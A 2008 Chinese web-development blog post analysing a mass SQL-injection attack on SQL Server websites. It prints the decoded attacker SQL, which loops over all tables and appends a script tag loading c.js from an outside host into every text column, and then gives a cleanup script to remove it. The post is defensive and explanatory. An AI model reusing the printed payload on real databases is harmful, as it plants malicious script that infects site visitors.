关于注入(css/c.js)
2008-12-30 13:46:19 来源:WEB开发网上面cast里面sql语句解密如下:
Declare@TVarchar(255),@CVarchar(255)
DeclareTable_CursorCursorForSelectA.Name,B.NameFromSysobjectsA,SyscolumnsBWhereA.Id=B.IdAnd
A.Xtype='u'And(B.Xtype=99OrB.Xtype=35OrB.Xtype=231OrB.Xtype=167)
OpenTable_CursorFetchNextFrom Table_CursorInto@T,@CWhile(@@Fetch_Status=0)
Begin
Exec('update['+@T+']Set['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<Script
Src=http://%63%2Enuclear3.com/css/c.js></Script>''')FetchNextFrom Table_CursorInto@T,@C
End
CloseTable_Cursor
DeallocateTable_Cursor
总结:
还是程序没写好的原因,会导致注入,希望今后写程序能注意这个问题,不过想想用dotnet那种参数化取值,注入的可能性应该为零了。
因为这个朋友最怕数据丢失,希望恢复数据,于是我就帮他写了一个清理字段的sql脚本(只适合sqlserver)。呵,也希望给那被注入的网站的清理提供方便。代码如下:
declare@nameasnvarchar(128),@columnNameasnvarchar(128),@columnTypeasnvarchar(128),@injectSqlasnvarchar(111)
set@injectSql='<ScriptSrc=http://%63%2Enuclear3.com/css/c.js></Script>'
DECLAREcurLabelCURSORFORselectnamefromsysobjectswherextype='U'
OPENcurLabel
FETCHNEXTFROMcurLabelINTO@name
WHILE@@FETCH_STATUS=0
BEGIN
DECLAREcurLabel1CURSORFORSELECTColumn_name,data_typeFROMINFORMATION_SCHEMA.COLUMNSWHERE(TABLE_NAME=@name)
OPENcurLabel1
FETCHNEXTFROMcurLabel1INTO@columnName,@columnType
WHILE@@FETCH_STATUS=0
BEGIN
if((@columnType='text'or@columnType='ntext'))
--print1
BEGINTRY
declare@primaryKeynvarchar(255);
SELECT@primaryKey=primaryKeyfrom
(select
c.nameasprimaryKey,
casewhenc.colidin(selectik.colid
fromsysindexesi,Sysindexkeysik,sysobjectsoo
wherei.id=ik.idandi.indid=ik.indid
andi.name=oo.nameandoo.xtype='PK'--主键
ando.id=i.id
)then1else0endisPrimaryKey
fromsysobjectsoinnerjoinsyscolumnscono.id=c.id
whereo.xtype='U'
ando.name=@name)astwhereisPrimaryKey=1
exec('declare@ptrvarbinary(16);declare@idnvarchar(16);declarecurTextscrollCursorforselecttextptr('+@columnName+'),'+@primaryKey+'from'+@name+';declare@Positionint,@lenint;OPENcurText;FETCHNEXTFROMcurTextINTO@ptr,@id;WHILE@@FETCH_STATUS=0BEGIN;select@Position=patindex(''%'+@injectSql+'%'','+@columnName+')from'+@name+'where'+@primaryKey+'=@id;while@Position>0begin;set@Position=@Position-1;updatetext'+@name+'.'+@columnName+'@ptr@Position@len'''';select@Position=patindex(''%'+@injectSql+'%'','+@columnName+')from'+@name+'where'+@primaryKey+'=@id;end;FETCHNEXTFROMcurTextINTO@ptr,@id;END;CLOSEcurText;DEALLOCATEcurText')
ENDTRY
BEGINCATCH
print(@name+'.'+@columnName)
ENDCATCH;
else
if(@columnType='nvarchar'or@columnType='varchar')
exec('update'+@name+'set'+@columnName+'=replace('+@columnName+','''+@injectSql+''','''')')
FETCHNEXTFROMcurLabel1INTO@columnName,@columnType
END
CLOSEcurLabel1
DEALLOCATEcurLabel1
FETCHNEXTFROMcurLabelINTO@name
END
CLOSEcurLabel
DEALLOCATEcurLabel
更多精彩
赞助商链接